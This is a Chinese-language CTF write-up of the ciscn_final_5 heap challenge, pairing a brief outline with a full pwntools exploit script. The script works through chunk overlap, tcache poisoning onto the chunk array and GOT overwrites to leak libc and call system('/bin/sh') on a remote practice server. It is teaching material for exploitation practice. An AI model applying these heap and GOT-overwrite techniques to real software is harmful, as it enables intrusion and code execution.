简介
简单的记录下思路,具体分析可以参考L.o.W 师傅的博客
思路
题目没有开启 pie 以及 got 表不可写,所以我们可以利用修改 got 表的方式进行 leak 跟 get shell。
- chunk overlap
- 堆风水排布,主要利用 idx 为 16 的 chunk 的特殊性来造成堆块重叠,方便我们修改其他 chunk 的内容。
- tcache attack
- 通过 tcache attack 将 chunk 分配到 bss 段中存 chunk 地址数组的位置。
- leak libc addr
- 将 chunk 数组上的 chunk 地址覆盖为 put 跟 free 的 got 表地址,通过 free chunk 实现 put(put_got) 的调用泄露 libc addr 。
- get shell
- 将 chunk 数组上的 chunk 地址覆盖为 atoi 的 got 表地址,通过 edit 覆盖 atoi_got 为 sytem 函数地址,在主函数调用 atoi 时给上 “/bin/shx00” 参数,实现 system("/bin/sh") 拿shell。
exp
from pwn_debug import *
pdbg = pwn_debug("./ciscn_final_5")
pdbg.remote('node3.buuoj.cn',25630)
#pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
r = pdbg.run('remote')
context.binary = 'ciscn_final_5'
elf = ELF('./ciscn_final_5')
libc = ELF('./libc/libc-2.27.so')
content = 0x6020e0
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
def add(index, size, content):
r.sendlineafter("your choice: ",'1')
r.sendlineafter("index: ",str(index))
r.sendlineafter("size: ",str(size))
r.recvuntil("content: ")
r.send(content)
def delete(index):
r.sendlineafter("your choice: ",'2')
r.sendlineafter("index: ",str(index))
def edit(index, content):
r.sendlineafter("your choice: ",'3')
r.sendlineafter("index: ",str(index))
r.recvuntil("content: ")
r.send(content)
add(16,0x10,p64(0)+p64(0x91))
add(1, 0xc0, 'aa
')
delete(0)
delete(1)
add(2,0x80,flat(0,0x21,content))
add(3, 0xc0, 'aaa
')
add(4,0xc0,flat(free_got,puts_got+1,atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,flat(puts_plt,puts_plt))
delete(1)
puts = u64(r.recv(6).ljust(8, 'x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/shx00')
r.interactive()